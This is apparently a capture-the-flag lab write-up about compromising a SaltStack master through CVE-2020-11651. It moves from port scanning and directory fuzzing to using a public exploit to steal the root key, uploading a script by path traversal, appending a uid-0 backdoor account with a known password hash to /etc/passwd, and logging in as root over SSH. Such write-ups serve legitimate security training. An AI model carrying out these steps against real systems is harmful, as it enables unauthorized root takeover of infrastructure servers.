Machine Info#
Spoiler
This lab demonstrates exploiting a pre-auth remote code execution vulnerability in SaltStack Master (CVE-2020-11651). Learners will leverage the SaltStack API to execute arbitrary commands, resulting in a root shell on the target. This lab highlights the risks of unpatched critical vulnerabilities in infrastructure management tools.
Root#
Reconnaissance#
We are going to start by running our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
└─$ nmap -p$ports -sC -sV $VICTIM
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 22:52 CET
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.75% done; ETC: 22:52 (0:00:00 remaining)
Nmap scan report for $VICTIM
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-title: Home | Mezzanine
4505/tcp open zmtp ZeroMQ ZMTP 2.0
4506/tcp open zmtp ZeroMQ ZMTP 2.0
8000/tcp open http nginx 1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: nginx/1.16.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X|5.X (97%), MikroTik RouterOS 7.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (91%), Linux 3.8 - 3.16 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (91%)
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds
|
Web#
└─$ ffuf -u http://$VICTIM/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://$VICTIM/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 200, Size: 6091, Words: 1013, Lines: 267, Duration: 1308ms]
admin [Status: 200, Size: 4251, Words: 680, Lines: 162, Duration: 669ms]
blog [Status: 200, Size: 6252, Words: 1054, Lines: 314, Duration: 1057ms]
contact [Status: 200, Size: 7951, Words: 1292, Lines: 355, Duration: 743ms]
edit [Status: 200, Size: 4250, Words: 680, Lines: 162, Duration: 671ms]
gallery [Status: 200, Size: 22187, Words: 2370, Lines: 583, Duration: 824ms]
search [Status: 200, Size: 6138, Words: 1015, Lines: 278, Duration: 1052ms]
sitemap.xml [Status: 200, Size: 530, Words: 4, Lines: 5, Duration: 809ms]
static [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 22ms]
We do the same for the other http service.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| ffuf -u http://$VICTIM:8000/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2
:: Method : GET
:: URL : http://$VICTIM:8000/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
användare [Status: 500, Size: 1455, Words: 233, Lines: 41, Duration: 510ms]
events [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 122ms]
hook [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 114ms]
index [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 132ms]
jobs [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 48ms]
keys [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 129ms]
login [Status: 200, Size: 43, Words: 6, Lines: 1, Duration: 126ms]
logout [Status: 500, Size: 823, Words: 166, Lines: 31, Duration: 344ms]
run [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 162ms]
stats [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 123ms]
token [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 270ms]
|
Looking at the web on port 80 we see an instance of Mezzanine CMS but it didn’t yield in any results as we couldn’t get past the login page nor any default creds worked. Also we couldn’t find any public exploits for it. So we move to 8000 port.
SaltStack#
The requests to that returned JSON responses, meaning that it could be some form of API running.
Running a curl confirmed that. And we get the version of the API as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| └─$ curl http://$VICTIM:8000 -v
* Trying $VICTIM:8000...
* Connected to $VICTIM ($VICTIM) port 8000
* using HTTP/1.x
> GET / HTTP/1.1
> Host: $VICTIM:8000
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Thu, 26 Feb 2026 12:12:28 GMT
< Content-Type: application/json
< Content-Length: 146
< Connection: keep-alive
< Access-Control-Expose-Headers: GET, POST
< Vary: Accept-Encoding
< Allow: GET, HEAD, POST
< Access-Control-Allow-Credentials: true
< Access-Control-Allow-Origin: *
< X-Upstream: salt-api/3000-1
<
* Connection #0 to host $VICTIM left intact
{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}
|
We already had seen few interesting ports that were running ZMTP.
InfoThe ZeroMQ Message Transport Protocol (ZMTP) is a transport layer protocol for exchanging messages between two peers over a connected transport layer such as TCP. This document describes ZMTP/2.0. In theory, ZMTP should define fully interoperable behavior between implementations.
And after some digging about salt-api/3000-1 we see that port 8000 was running Salt Stack.
InfoSaltStack (often just called “Salt”) is an open-source, Python-based infrastructure automation, configuration management, and remote execution engine. Designed for high-speed, parallel management of server fleets, it uses a master-minion architecture to deploy, manage, and secure, cloud, virtual, or physical servers using YAML and Jinja templates.
Furthermore we come to the finding of CVE-2020-11651 and CVE-2020-11652 that have public exploits available for RCE and basically whole server take over. We found a nice PoC for this;
We had to install many packages with pip apparently but it worked, even though there was also a public exploit here on ExploitDB.
We confirm it works:
1
2
3
4
| python exploit.py --master $VICTIM
[+] Checking salt-master ($VICTIM:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk=
|
And then we just add a new root user on the /etc/passwd using this script:
1
| echo 'hacked13:$1$hacked$ihQQpAqXirphTVaWAhZC1/:0:0:test:/root:/bin/bash' >> /etc/passwd
|
TipIt add user hacked13 with password 123 as root user.
Upload it and execute it.
1
2
3
4
5
6
| python exploit.py --master $VICTIM --upload-src ../lol.sh --upload-dest ../../../../../../tmp/lol.sh
[+] Checking salt-master ($VICTIM:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk=
[+] Attemping to upload ../lol.sh to ../../../../../../tmp/lol.sh on $VICTIM
[ ] Wrote data to file /srv/salt/../../../../../../tmp/lol.sh
|
And here we confirm it has run successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| python exploit.py --master $VICTIM -r "/etc/passwd"
[+] Checking salt-master ($VICTIM:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk=
[+] Attemping to read /etc/passwd from $VICTIM
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
mezz:x:997:995::/home/mezz:/bin/false
nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
hacked13:$1$hacked$ihQQpAqXirphTVaWAhZC1/:0:0:test:/root:/bin/bash
|
So we can basically SSH and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| └─$ ssh hacked13@$VICTIM
hacked13@$VICTIM's password:
0;root@twiggy:~
[root@twiggy ~]# pwd
/root
0;root@twiggy:~
[root@twiggy ~]# ls
proof.txt
0;root@twiggy:~
[root@twiggy ~]# cat proof.txt
1dc116787b04a90e403b6bed9215c0be
0;root@twiggy:~
[root@twiggy ~]# id
uid=0(root) gid=0(root) groups=0(root)
0;root@twiggy:~
[root@twiggy ~]# exit
logout
|